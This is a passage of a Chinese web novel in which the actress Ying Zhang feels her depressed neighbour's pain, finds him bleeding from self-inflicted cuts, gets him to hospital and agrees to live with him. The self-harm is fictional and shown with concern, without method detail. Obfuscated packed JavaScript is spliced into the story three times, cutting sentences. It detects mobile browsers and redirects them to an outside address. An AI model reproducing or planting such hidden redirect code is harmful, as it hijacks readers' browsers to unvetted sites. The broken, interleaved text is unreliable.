小脸焦黑的黄鼠狼龇牙咧嘴,不知道是疼的,还是气得。 10. 幻痛 经过了两天的整理,应璋找出了二十多份合同,还跑去银行打了这几年的流水,这才去见了黎律师。 和领带焊在脖子上,衬衫扣好最后一颗的何律不同,黎律师看起来比较随意,甚至可以算是不修边幅。应璋此刻突然理解工作服了,看似普通的一套衣服,实际上确实是增加信任度的最佳道具。 “您好,请问这里是黎阳律师的办公室吗?”应璋轻轻敲了敲门,犹豫着要不要进去。 “是,我是黎阳……等等,你抱的都是合同资料?”黎阳看着应璋手上厚厚的一摞,瞳孔地震。 “……是。”应璋有点不好意思,但这些确实都是她和铃戏的合同。 黎阳三步并作两步走,那叫一个雷厉风行:“走走走,去会议室,那边桌子大!” “……” 应璋是十点到的律所,一直到六点才被允许离开。 虽然黎律看起来不修边幅,但工作能力还是非常强的,让应璋想起了高三冲刺时的班主任。一天谈话下来,强度堪比期末周。 从律所离开的应璋脑子里只有一个想法:等法庭见的时候,对方律师不会被说哭吧…… 不过这也不是什么坏事,如果铃戏那边的律师真的被黎律说哭的话,她会给黎律包个大红包的! 既然人在城区又是饭点,应璋当然选择饱餐一顿再走!一个人消灭掉三盘烤肉后,应璋才慢悠悠地起身回家。 出门前,应璋和柏临渊发过消息说过今天有事不去吃饭了。但是不知道为什么,向来话多又爱分享的对门今天竟然除了一句“收到”什么都没有说。 忙了一天的应璋对着聊天页面看了又看,发现确实没有更多消息,隐约觉得哪里不太对劲。 和对门相处的这几天,应璋几乎没有见到柏临渊和谁交流或聊天。她有时还会和莫伊倪打打电话,和以前剧组认识的朋友们聊聊天,但柏临渊不会,不是在厨房忙,就是在做家务。 起初看到柏临渊那张挂着黑眼圈气色又极差的帅脸,她还以为他是颓废系帅哥。经过这段时间的相处,应璋才察觉到这位朋友就是单纯的宅且自闭。 如果不是V信对话上的红点,应璋真的会以为柏临渊没有手机,她从来没有在柏临渊家看见过他玩手机。 “给他买个小蛋糕吧……” 应璋又看了一眼静悄悄的聊天页面,走进最近的蛋糕店选了一个小狗造型的四寸小蛋糕,结账的时候又从柜台上拿了一包骨头造型的饼干。 “蛋糕当宵夜,饼干当早餐,刚刚好。” * 黎阳的律所离应璋的小区很远,等应璋到楼下的时候已经九点多了。急着送蛋糕的应璋风风火火地推开门,却被门后蜷缩在墙边的黑影吓了一跳。 “你有……你怎么在这?” 亮起的感应灯让应璋脱口而出的祖安问候来了个急转弯,只见楼梯旁的柏临渊半靠着墙捂着肋骨,身体蜷缩得像只虾子,脚下还躺着一袋面、一桶油、还有一大包菜。 “你怎么又提重物!你这个人都不知道疼的吗?” “……” 柏临渊一言不发,转过头好像在看应璋,但眼睛聚不上焦,人看起来呆呆的。 “行吧,你在这等我,我等会来接你。” 把手上的蛋糕往柏临渊手上一塞,应璋提着散落一地的食材送回柏临渊家,又下楼回来接人。 “走,去医院复查一下。” “不用复查。”柏临渊终于回过神来,掀起了衣服下摆,“我打了绷带,没有很用力。” “那也得去看一下。”应璋拧眉拉下柏临渊的衣摆,并不相信柏临渊的包扎技术,“你疼得嘴都白了。” “我想回去休息。”柏临渊抠着衣摆,声音不大,但很坚持,“如果明天还是不舒服的话,你再陪我去医院,可以吗?” “……好吧。”应璋妥协了,“如果晚上你难受得厉害记得叫我,我陪你去医院。” 柏临渊点点头:“好。” 从电梯出来,柏临渊拦住了打算直接回家睡觉的应璋。 “我煮了竹蔗马蹄糖水,你要不要喝一点?” “不了吧。”应璋捂嘴,盖住冒到一半的嗝,“今晚吃得太撑喝不下了。” “哦……”柏临渊低头,刘海遮住了眼睛,看不清面上的神情,“那蛋糕放到明天吃吧,记得放冷藏。” “放到明天还能吃吗?” 应璋下意识反问,话说出口才意识到她好像没跟柏临渊说这是买给他的,于是开口补救道:“这是买给你当宵夜的,如果吃不下就不要勉强,我下次再给你买新的。” “……给我的?” 柏临渊迟缓地看向手上的包装盒,看起来像极了过载的老旧机器人。 “对啊,给你的,蛋糕和饼干都是给你的。”应璋打了个哈欠,冲柏临渊摆了摆手,“今天吃药了吗?没有的话回去把药吃了,不舒服就给我打电话。” 柏临渊攥紧手上的袋子,手指不住地摩挲着包装盒边缘锋利的棱角:“好。” 困意上头的应璋回家简单洗漱后直接陷入梦乡。 不知道怎么回事,应璋被雪藏也不过两个多星期,按理说这么短的时间里生活很难有什么特别大的变化,但最近几天应璋每天都觉得身上闷闷顿顿的疼。 作为一个从小练武的人,应璋其实对疼痛不算太敏感,不然也不会和黑马会所的人打完倒头就睡了。可这几天她总觉得身上说不出的难受,每天都被这种隐痛折磨难以安眠。 应璋找不出原因,只当是这几天吃得太杂节食太久的身体吃不消,也没太当回事,因此今天拒绝了对门的邀约早早回家休息。 一整天的高强度用脑和远距离奔波让应璋睡得很沉,原以为这将是无痛无感的一夜,谁知刚睡没太久,应璋就被疼醒了。 “嘶——” 应璋一个激灵从床上弹起,睡着睡着手指突然一痛,像是被什么狠狠咬了一口一样,带着指跟都有点发麻。 摸索着打开灯对着光细细检查了好一会,只见痛的地方平整干净,没有牙印也没有其他痕迹。 “我睡懵了?” 甩了甩手,那种把人从睡梦惊醒的疼痛已经全无踪迹了。 瞄了一眼床头的闹钟,还不到十二点。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360230|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “早着呢,再睡会。” 把自己埋回被子掖好被角后,应璋很快就睡着了。哪怕外面真的有鬼,被子之神也会好好保佑每一个躲在被子里的人。 可惜天不遂人愿,被子之神并没有保护把自己裹成茧蛹的应璋,她又被疼醒了。 这次的疼痛真切而猛烈,像是有人用刀划开了她的大腿,她似乎能听到皮肉裂开的声音。 “啊——” 疼痛让应璋不受控制地叫出了声,现在她的整条左腿疼得都在微微颤抖。 应璋下意识地摸向腿上撕裂般疼痛的地方,发现触手温热干燥,完全不像有伤口的样子。 “不是,真有灵异事件啊?” 应璋拧了自己一把,发现疼痛是真实的,并不是她在做梦,也不是她臆想出来的。于是伸手打开灯,又把睡裙提至腰侧,打算仔细看看到底是怎么回事。 灯光下的皮肤莹润白皙,连毛孔都不明显,又哪里有伤痕呢? 应璋不死心地在腿上搓了又搓,皮都被搓红了也没有任何新发现——皮肤还是没受伤,疼痛还是依然存在感十足。 就在应璋犹豫着要不要去医院、去医院应该挂什么科时,右腿也传来了一股剧痛。 应璋:??? 不是,怎么右腿也跟着疼了? 由于现在应璋人是清醒的,因此感受更为鲜明,她甚至能感觉到刀锋划过皮肤的凉和血液喷涌的烫。 这不对劲。 就算神经再大条,人再迟钝,应璋也察觉到了这件事情的奇怪之处。在相信玄学之前,应璋打算先求助科学,套上外套就准备去医院挂急诊。 临出门应璋想要叫个网约车,这才发现手机找不到了,忍着剧痛翻遍了整个卧室还是没有找到。折回客厅时,余光瞥见了放在沙发上的平板,被疼痛糊住脑子的应璋才想起借助Siri的力量。 查找功能显示手机离得并不远,应璋仔细分辨了一会才认出来应该是落在对门家了。 痛感越来越强,应璋隐约有种失血过多的感觉,头昏昏沉沉的额,意识也不甚清晰。 踉踉跄跄扑到对门门口,应璋眯着眼睛找门铃在哪,按了好几下也没听到屋内有回应。 厚重的防盗门隔绝了屋内的声音,楼道里的感应灯很快又熄灭了,应璋叹了口气决定先开门,过后再给柏临渊道歉。 抖着手连按了三次,应璋才解锁成功。刚打开门,应璋就听见自己手机上播放的超响铃声,巨大的音量直接震亮了楼道的感应灯。 “柏临渊睡眠质量这么好?不能吧?他黑眼圈那么重……” 应璋一边嘀咕一边挪着小碎步去找手机,最后循着铃声在她晚上搬菜的袋子里找到了埋在下面的手机。 好像是她拎到一半手机打滑掉在里面的? 虽然没过几个小时,但昏昏沉沉的脑子已经回忆不起更多信息了。 关掉提示铃声之后,房间重新恢复安静。 一室寂静中,应璋隐约听到厨房有声响。犹豫了一下,她握着手机蹑手蹑脚地靠了过去。 门推开的瞬间,翻涌的血腥气涌了上来。 11. 共感 打开灯后,厨房里的景象触目惊心——柏临渊歪着身子倒在地上,沾着奶油的刀落在离手不远的地方,下半身被殷红浸染,嘴唇血色全无。 应璋顾不上疼和晕,三步并作两步走,直接冲了过去。 “柏临渊?柏临渊!醒醒!柏临渊!” 倒在地上的人毫无反应,胸膛几乎没有起伏,任由应璋怎么拍打喊叫都没有回应。应璋俯下身子去摸柏临渊的脖子,好在颈动脉还有微弱的起伏。 还活着。 应璋松了口气,伸手去扒柏临渊的居家裤。 被血液浸透的纯棉面料黏腻湿滑,带着让人害怕的温热。顺着裤子上的破口,应璋发现了两条又长又深的刀疤,位置很熟悉,是把她疼醒的地方。 撕下睡衣下摆,应璋抖着手为柏临渊包扎。 下肢受伤,绷带应该绑在哪里?靠近伤口还是近心端? “来得及,来得及,不要慌……”应璋一边小声嘟囔着,一边打120求救。 以往学过的急救知识乱作一团,应璋先把柏临渊的腿抬高,又把撕下来的布条在靠近伤口三分之一处捆了一圈。 刚捆完左腿,电话那头就被接通了,应璋尽量简单明了地说出她们现在的地址和情况。这个小区离最近的三甲医院五公里,现在是凌晨三点,救护车来得不会太慢,在接线人员的安抚和指导下,应璋渐渐放下了心,找来干净的纱布按压在伤口上辅助止血。 应璋很害怕,她怕自己太用力按坏了柏临渊的伤口,又怕自己不够用力不能帮助对方止血。 血液渐渐穿过纱布洇在应璋的掌心,不知道是她的手越来越冷,还是涌出的血量减少了,应璋按着按着手不自觉地开始发抖,牙齿也相互碰撞发出“咯咯”的声响。 这是应璋第一次如此直观地感受到生命在面前流逝,也是她第一次感到时间漫长。 双手各按住一个伤口,应璋根本空不出手去看手机。 过去多长时间了? 一分钟? 五分钟? 时间流速在应璋这里是模糊的,要不是手上逐渐冷凝的血液,她几乎感受不到时间的流逝。 好在救护车的警笛在深夜分外明显,长长的鸣啸像是落在冰面上的重锤,时间在此刻终于恢复了正常,甚至在医务人员争分夺秒的忙碌下,快的像是开了倍速。 恍惚间,应璋好像又回到了步履匆匆的学生时代,上救护车要跑,进医院要跑,送进急诊手术室要跑,去补材料缴费也要跑。 上学时的奔跑为应璋挣出了现在的生活,那现在的奔跑,可以为柏临渊挣出一条生路吗? 靠在冷硬的椅背上,应璋怔怔地望着手术室门上晾着的灯,不明白那么努力生活的一个人,会这样残忍地对待他自己。 睡裙下摆浸染的鲜血已经冷硬干结,像是一层厚重的壳一样黏在应璋的腿上,跪在地面急救时的寒凉还缠绕在膝盖上,冷的让她有些发疼。 应璋觉得全身都不舒服,被冷风吹过的头在疼、急剧奔跑后的肺在疼、泡过血的膝盖也在疼……不过这些疼痛都比不上柏临渊划过的伤口疼。 眨了眨酸痛的眼睛,应璋不明白,为什么受伤的是柏临渊,疼得却是她? 黎明来临前的暗夜里,应璋一个人坐在医院里,终于把这些日子里零零碎碎的异常串联起来——那些被她忽视的、归为巧合的感觉,都来自她的对门。 作为一个十八线演员,应璋这些年待得最多的地方便是剧组,类似“伤在你身痛在我心”“恨不得以身代之”的话听得简直不要太多,就算没有一千也有八百。 这种东西没有人会当真。 但现在却真真切切地发生在她的身上了,细捋一下时间线,这种奇怪的联系似乎从他们见面的第一天就有了。 可是……为什么呢? 应璋承认自己很喜欢柏临渊的脸,但这种喜欢和看到路边的花、飞过的鸟是一样的,是纯粹的、与爱情无关的喜欢。 没有感情的维系,也会有这样联系吗? 摇了摇脑袋,应璋没再细想下去。这是她二十多年来最大的生存智慧,只要不寻根问底,日子就还能过下去。 这个世界上很多问题是没有答案的,如果非要得到一个结果,只会撞得头破血流。应璋吃过亏,差点丢了命,已经学乖了。 柏临渊从手术室出来时,已是黎明。 应璋隔着病房的玻璃望向窗外,是很漂亮的墨蓝色,远处是莹莹的月白,仿佛下一秒就会天光乍现,很快又是新的一天。 医生说柏临渊失血过多,不知道什么时候会醒。应璋在病床旁一直守到天色大亮,柏临渊也没有一丝醒来的迹象。 天亮后找护工就比较容易了,应璋这才有时间回家换下这一身引人注目的血衣。 舒舒服服地洗了个热水澡之后,应璋爬进被窝补觉。 经历了这么一遭,又挂心着护工不知道什么时候会打来的电话,应璋以为自己会很难入眠,原本只想躺一个小时就去医院的,没想到一觉醒来已经是三个小时后了。 不知道为什么,这短短的几个小时应璋睡得比过去一周都要好,醒来的时候通体舒泰,像是做了个全身按摩一样,整个人舒展又放松。 “不好意……” 出门准备给柏临渊置办住院用品时,应璋差点撞上了一个面色焦急的老伯。没等她说完话,老伯就面色匆匆地冲到对门,一边打电话一边焦躁不安地按着门铃。 应璋出声道:“您好,请问您是来找柏临渊的吗?” 老伯惊讶地回头,很是激动地看着应璋:“小姑娘,你是临渊的朋友?” “我住在他对门。”应璋也不清楚她们算不算是朋友,想了想挑了个比较合适的说法。 “对门……那你能联系上临渊吗?”老伯神情激动,伸手就去掏自己的口嗲,“我是他老师,你可以叫我老钟,这是我的身份证,我不是骗子!” “钟老师好,您找他有什么事吗?” 应璋看了一下证件,应该是真的。只是出于警惕,她还是没有轻易透露柏临渊的具体情况。 “是这样的,临渊他有……有很严重的抑郁症。”老伯语带迟疑,顿了顿道,“我们约好了,每天他起床了给我打个电话,但都这个点了我还联系不上他……我是怕……” 怕应璋不信,钟老师一边说一边翻出V信和手机通话记录给她看。确认钟老师真的是柏临渊的长辈后,应璋才把昨晚的事情跟老人家说了。 省略了两人共感的离谱经历,只说治疗和送医。 “这孩子……他其实……诶……他……” 听了应璋的话后,钟老师的泪水都在眼眶里打转,嘴巴张张合合,欲言又止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360231|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应璋没什么窥私欲,更何况钟老师想讲的很有可能是跟人家病情相关的内容,于是出言打断道:“我正打算去商场给他买点住院用的东西,您看您是进去帮他收拾一些,还是和我一起去商场置办新的?” “我去给他收拾收拾吧。”钟老师把手机和证件放回口袋,“这小子有洁癖,新买的他不喜欢。” 回想起柏临渊家忙得团团转的洗碗机和扫地机器人,应璋深以为然,于是帮忙打开了门,请钟老师进去帮忙整理。 “!!!” 门刚打开,被扫地机器人不均匀涂抹的血色地砖就映入了两人的眼帘。想一想柏临渊家的面积,应璋都觉得这个工程量大的吓人。 “先收拾东西吧,晚一点找个保洁帮忙打扫一下。”应璋闭眼,尽量不去看那个忙得让人无语的小机器人。 * 应璋推开病房门的时候,柏临渊板板正正地躺在病床上盯着墙面,目无表情,眼神也在放空,不知道在想些什么。 “你醒了?护工怎么不给我打电话?” 应璋有些生气,因为是临时加急,她额外给护工多加了一天两千的加急费,结果护工连个电话都不给她打? “妹子,你找的那个护工说他临时有事,让我帮忙看一下。”一旁的大姐探头过来,笑容爽朗,“小伙子醒来的时候我按铃了,医生看过说他的身体状态还可以,就是精神不大好。” 柏临渊被推进这个病房的时候,旁边病床还是空的。这个大姐没有应璋的联系方式,也就没能联系上她。 “谢谢大姐!” 应璋连声道谢,分了一箱奶放在隔壁病床旁,这才看向从进门起就一直盯着她的柏临渊。 “我出门的时候正好撞上了钟老师,就带他过来看你了,你们先聊,等下我找个新护工帮你把衣服换了,再整理一下。” “我来吧。”钟老师摆摆手,“搭把手的事,你先去忙。” “那我去问问医生怎么说。”应璋点头,把空间留给师生俩。 白天的医院有着与夜晚截然不同的热闹,应璋艰难的挤过人群,又跑了好几个办公室才见到负责柏临渊的医生蔡亘。 蔡医生等会还有台手术,只是简单和应璋说了下柏临渊的身体情况,交代她要多多注意他的心理健康就匆匆离开了。 不过蔡医生也知道他这三言两语也不能完全讲清楚,就给她一个联系方式,让她去找主管护士了解情况。 主管护士倒是不难找,办公室离柏临渊的病房不远。等应璋见到人了才认出来,这就是早上帮她安排护工的那位护士! 告到中央!她要告到中央! 应璋二话不说,拦住人就开始告状:“陈主管您好,您早上帮我安排了一个护工,我还同意了一天多加两千的加急费,您还有印象吗?” “呀!是你呀!” 听了应璋的话,陈主管才认出面前的人就是早上那个一身是血的女孩子。 “你这一收拾我都没认出来,我听说3床醒了,一直在忙还没来得及过去看,走,我陪你过去看一下。” “陈主管,我们等下再过去,我有事情和你说。”应璋认真的看着陈主管的眼睛,“现在还有其他护工有空吗?我打算换个护工……” 还没等应璋把话讲完,一道尖利的男高音破门而入:“你凭什么把我爸换了?” 12. 邀约 不是,谁来和她讲一下,为什么这个连门都没进的人那么笃定她要换掉的是他爸啊? 应璋一头雾水:“你谁啊?” 一个瘦高个子扯着一个不太壮实的中年人挤进门,后面那个畏畏缩缩不敢和人对视的确实是应璋今早找的护工。 “3床的护工啊!”瘦高个子挺胸抬头,搔了搔头发,“不就是走了几个小时,你至于吗?我爸可是很多人抢着要的。” 看着门口瘦高的年轻男人,应璋愣了一下。她记得她找的那个护工还不到四十,怎么会有看起来和她差不多大的儿子? “那就去抢的人那里吧,我伺候不起。” 应璋冷笑,并不接他的话。早上陈主管把人介绍给她的时候只说是新来的,让试试看,应璋二话没说答应了这个护工提出的所有条件,结果才过了几个小时就开始作妖。 “现在是下午一点半,我找到你爸离开病房的时候是早上七点多。也就是说满打满算不到六小时,你爸离岗四个小时,将近一半多的时间不在岗。” “我爸都让同病房的大姐帮忙了,什么事都没有,你怎么那么斤斤计较!”男人愤愤不平,仿佛受了天大的委屈。 跟这种人是讲不明白的,应璋扭头看向身旁的陈主管:“您看,我两千四一天雇的就是这样的护工。” “不好意思,这个确实是我们审核培训不到位。” 陈主管立马赔上笑脸,原本她只是想着同事家亲戚不容易,宽松点帮一把,但没想到烂泥糊不上墙,捅出这么大个篓子。 “您稍等,我来处理一下,保证妥善解决。” “听见没有。”年轻男人听了陈主管的话,下巴差点扬到天上,“你想让我爸给你干活,每天再加五百,不,六百……” 应璋:…… 这人话他是一点都听不懂吗? 陈主管显然也被这个没脑子的气得不轻,拿起内线电话直接叫人:“张丽雪,你来我办公室一趟,尽快。” “主管,您叫我姑做什么?”年轻男人纳闷。 “你们在门口等一下,不要随便进医务人员办公区。” 护士的工作多如繁星,哪怕是主管护士也有忙不完的事。陈主管懒得搭理这两人,打算等他们的亲戚来了再说。 “陈主管!你怎么赶我们?” “要赶也是赶那个女人啊!我爸可是你们医院请来做护工的!” “……” 谁也没想到这两个人能吵出一群人的气势,不堪其扰的陈主管再一次拨通张丽雪的电话:“快把你亲戚接走,护工都当不明白还在这里闹事,想想你年底的考评!” 也许是门外的嘈杂吵闹隔着听筒都能听得一清二楚,张丽雪来得很快,门外的吵闹突然暴起又很快安静下来,办公室内的两人这才有空慢慢商量。 “实在不好意思,回头我去北区那边找个经验丰富、口碑好的护工来。”陈主管倒杯水递给应璋,笑容和熙,“最晚今天晚上就能到,辛苦你再撑半天。” “好,那就麻烦陈主管了。” 应璋没再揪着不放,事情既然已经发生过了,那就让它过去吧。毕竟柏临渊还需要医护人员的照顾,与其大吵大闹,不如换点实惠。 “您应该也听说了,我这个朋友状态很不好,情绪也不算稳定,能不能给他安排一个单人病房呢?” “这……现在床位还是很紧张的……” 陈主管面露难色,余光瞥见应璋手机页面上卫健委投诉页面,话锋一转:“我尽量帮你看一下吧,不一定能有……” “您的难处我明白,只是我朋友的情况比较特殊,况且他的伤不算太严重,再有十天半个月拆完线就能出院了。”应璋轻咳一声,意有所指道,“听闻贵院的疗养区绿化全市首屈一指……” 听应璋这么一说,陈主管眼前一亮,最近那批疗养的老干部有不少都跟单位出去旅游了,房间空出来不少,腾一间也不是不行…… “我和上面申请一下,要是可以的话等会有人接你们过去。” 听话听音,应璋知道这事稳了:“那就麻烦陈主管了,我就不多打扰您,先回病房和我朋友商量商量怎么写表扬信。” 陈主管理了理衣襟,顺手理正歪掉的工牌,笑容满面地把人送了出去:“好,病房和护工交给我你就放心吧。” 刚出办公室没走几步,应璋预订的外卖就到了。柏临渊现在行动不太方便,她就没定什么汤汤水水,找家干净的饭店订了几个清淡爽口的菜。 “开饭啦!” 应璋提着大包小包进了病房,柏临渊已经换好了衣服,正安静的听钟老师低声说话。 “钟老师也没吃吧?陪柏临渊一起吃点吧?” “你这么一说,我确实是饿了。”钟老师拉过床上小饭桌,一起摆了起来。 看着忙忙碌碌的两人,柏临渊虽然安静,但人还算配合,夹什么吃什么,饭也吃了四分之一。 从昨晚到现在,应璋就喝了几口水,早就饿得咕咕叫了。今天这家店的蜜汁火方做得不错,应璋就着这道菜吃了大半碗饭,是那种特别讨长辈喜欢的好胃口。 最起码钟老师很喜欢,一顿饭的时间钟老师发出了三四次邀请,应璋炫火方钟老师就说师娘火片蒸鱼是拿手菜,应璋夹藕片钟老师就说他最擅长做湖鲜三素。 两人你来我往讲得不亦乐乎,一直安静的柏临渊也没憋住,跟在钟老师话头后面小声抢人。 “我也会做……” “那等你腿好了给我做。”应璋毫不客气的点菜,“听说火踵神仙鸭特别好吃,但是我没吃过,能做吗?” “可以的……”柏临渊点点头,“等我好了去钟老师家借土砂锅,你还有什么想吃的吗?” “3床,今天感觉怎么样?” 就在三人你一言我一语地预定菜单时,陈主管带着人推门而入。 柏临渊点点头,没有说话。 陈主管也不恼,按照流程一一询问,看着柏临渊点头或摇头。 悄悄戳了柏临渊好几下,他还是一眼不发。 陈主管看着两人的小动作,笑眯眯地对应璋道:“今天蔡医生来的时候你朋友都没理他,现在已经非常配合了。” “对了,你们现在搬吗?” “搬!”应璋站起来,一边收拾东西一边小声解释,“咱们换个病房。” * 新的病房空间大了不少,出门就是一个建造精巧的小花园。 钟老师年纪大了精神不济,新护工晚上就来,应璋就催着他回家休息去了。现在偌大的病房里只有她和柏临渊两个人。 午后的阳光很好,穿过花园的枝蔓洒落一室光斑,跃动的碎金落在应璋身上,明亮又热烈,晃得柏临渊不由自主地眯起了眼睛。 “你困了?”应璋看着柏临渊的表情,拖着凳子蹭了过去,“等会,你先别睡,我有事要和你说。” 柏临渊:“好。” “你昨天晚上,大概十一点多,是不是咬着手了?”应璋伸手比划着,“应该是左手食指?大概是这个位置。” “好像是……”柏临渊把压在被子底下的手拿了出来,左手食指上裹了一圈纱布。 应璋满意点头,继续清算:“然后一点多你又用刀划了腿,先划了左腿,再划右腿,我说得对吗?” 柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360232|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临渊吃惊地瞪大了双眼:“你怎么知道?” “因为我也会疼。”应璋假笑,“虽然不知道为什么,我也解释不明白,但是你受伤的时候,疼的人是我。” 柏临渊愧疚地伸出手,想要摸一摸对面咬牙切齿的女孩,只是手刚伸到一半就缩了回去,半响才讷讷道歉。 “对不起……” “你信了?” 这也太轻松了吧……应璋有些难以置信,她原本还在想要怎么向柏临渊证明他才会相信,没想到一个平A对面就K.O.了? “我信的……”柏临渊想了想,解释道,“好像从黄大仙宫开始,我就能感受到你的情绪,吃到好吃的会开心、烤串被砸了会生气、早上起床会特别烦躁……” 应璋:“啊……这……还是互通的?” 应璋下意识背过手掐了自己胳膊一把。 嘶,下手重了,好疼。 “是掐了右胳膊吧?”柏临渊举手,“大概是这里。” “是……”应璋轴住的脑子突然转了起来,“所以你早就知道了?” “也不算吧……”柏临渊想了想,“我以为是我单方面能体会到你的情绪和感受,没好意思问,怕你以为我是变态。” 应璋:……好有道理啊…… “那现在怎么办?”应璋瞪眼,“你是不是总半夜用背后撞墙?我总觉得闷闷的疼……” “可能是抑郁症躯体化带来的疼痛?”柏临渊低下头,声音闷闷的,“我在吃药了,现在已经比之前好很多了。” “真的吗?”应璋怀疑,“可是你连治疗骨裂的止疼药都是有一顿没一顿的吃,抗抑郁药物副作用那么难受,你按时吃?” “对不起,我会按时吃的……” 柏临渊手指不自在地拧在一起,力度大得吓人,指节拧得青青白白,食指纱布上隐隐有血渍透出。 “诶诶诶——”应璋赶紧扑上前按住柏临渊的手,“干嘛呢干嘛呢?疼疼疼——可不兴这么使劲——” “对不起……”柏临渊赶紧把手松开,“我不是故意的……” “别抠手心,也疼。”应璋小声抗议。 柏临渊摊开手,神情很是无措:“对不起……” “能说点别的词吗?”应璋叹气,“这三个字在你这充了年费会员,今天到期?所以才每句话都带着它?” “对……咳……” 柏临渊被逗笑了,下意识又想道歉,话刚冒头就被他硬是咽了回去,整个人被口水呛得直咳嗽。 “这么激动干什么……”应璋赶紧伸手帮忙拍背顺气,“你可悠着点,别呛着我……” 柏临渊:又想笑了,怎么办…… “要不然,你监督我?”柏临渊想了想,提议道,“不管是忘记吃药还是有伤害身体的行为,你都可以提醒我。” “可以啊。”应璋点头,柏临渊这个状态,确实需要人盯着。 “要不你住我家?”柏临渊认真规划了起来,“我负责你的衣食住行,给你开工资交五险一金,你不舒服的时候提醒我一下就好,我会改的。” “只要你觉得不舒服,无论何时,无论何地,都可以来找我。” “啊?”应璋觉得她的中文理解能力有待提高。 “你的意思是你雇我当住家保姆看着你吃药?” “不是。”柏临渊摇头,“你做你自己的事情就好,偶尔提醒我一下就行。” 应璋眨眨眼睛,试图理解。 “大概类似同居?”柏临渊试图解释,“家务我来,饭我做,工资我来发,一个月到手三万怎么样?” 应璋:这是馅饼吧?是吧?是吧? 13. 出院 “……那你答应了吗?” 莫伊倪越听越觉得柏临渊不是好人,什么稀奇古怪的共感,还同居,怎么看怎么奇怪。 顶着好友的愤怒,应璋缩缩脖子:“答应了……” “你怎么回事?为什么答应了?!”莫伊倪气血上涌,恨不得敲开应璋的脑袋看看里面在想什么,“你不会是恋爱脑吧?就算他长得好你也不能这么上头啊?” “……你这说的都是什么和什么……” 被好友离谱猜测气笑了的应璋只能分条析缕地跟莫伊倪解释她的选择。 “本来也没直接答应,我想着再考虑一下。结果当天晚上他状态就不对了,拿偷藏的输液针悄悄割腕,直接给我疼醒了。” 莫伊倪倒吸一口冷气:“他故意的?是不是给你下蛊了?” “你别乱猜。”应璋神色认真了起来,“他只是生病了,控制不住自己。” “我以前在星星乐园当过义工,抑郁症和孤独症虽然并不相同,但是引起的症状可能存在部分相似,我可以理解的。” 应璋拍了拍好友,递过纸巾:“别用那种眼神看我,我只是救人救己罢了。毕竟他失血过多,我也会晕。” “那等他出院了,你俩这样门对门住着不好吗?共处一室不是有点危险……”莫伊倪神色看起来有点松动,但仍顾虑不减。 “门对门……万一他脑子抽了把门反锁,我怕不是要在门外疼死……”应璋倒是不太担心,“同处一室也还好吧,他又打不过我。” 莫伊倪:也是哦…… 送走了忧心忡忡的好友,应璋收拾一下去了医院。现在护工只有一个,白天应璋一般都会去医院换班,让护工回去歇一歇。钟老师和他爱人有空也会来医院帮忙,这么一安排,倒也不算累。 “小应来啦?” 应璋到的时候,钟老师和他爱人付阿姨都在。看到应璋来了,付阿姨眼睛一亮,抱着保温桶就迎了上来。 “付阿姨今天也过来了?”应璋笑嘻嘻地接过保温桶,“早知道您今天也来,我就早点过来了。” “就你嘴甜!”付阿姨嗔怪地瞪了应璋一眼,手机麻利地开始摆盘,“今天姨煲了东阳三鲜汤,保证把你眉毛都鲜掉!” 应璋非常捧场:“真的?那我要喝两碗!” “喝!”付阿姨眉开眼笑,“这是你钟伯伯早上排队去买的酥饼,可以配着一起吃。” 自打和自家老头送过一次饭后,付阿姨已经深深爱上了投喂应璋这件事。自从钟老师退休后,付阿姨几乎没下过厨,也就是之前心血来潮想学法餐才动过几次手。 应璋不明所以,但对于长辈的投喂她全盘接受,给汤喝汤,给饼吃饼。那个长辈会不喜欢饭量好,什么都吃,嘴巴还会夸人的晚辈呢? “老钟!你要吃回家吃,别在这里抢孩子的吃的!” 应璋准备喝第二碗汤时,钟老师默默拿起了一块饼。听到老婆训话的钟老师手上动作顿了顿,又摸了一块饼。 “老婆,你也吃一块?” 也许是应璋的吃相太有感染力了,当护士进门准备换药时,看到的就是三人围着应璋吃饼的画面。 “每次应小姐吃饭都让人觉得胃口特别好。”刘护士俏皮地打趣道,“上次换药正好撞上应小姐吃东西,我馋得回站里连吃两块面包。” 跟在刘护士身边的实习生点了点头:“上次我和她们说,她们还不信我。” “小应这孩子吃饭香。”付阿姨放下手上的饼,打开手包往外掏零食,“这是我学生给带的永康牛肉干,等会你们带回去吃,就面包吃。” 应璋愣住了,她现在给人的印象到底是什么?下饭神器吗? “咦?病人这伤口恢复得好快啊!”实习生惊讶出声,“每次换药伤口都比上次好。” “我看看。”刘护士举着镊子探头来看,“诶呦,按照这个恢复速度,这两天就能拆线了。” 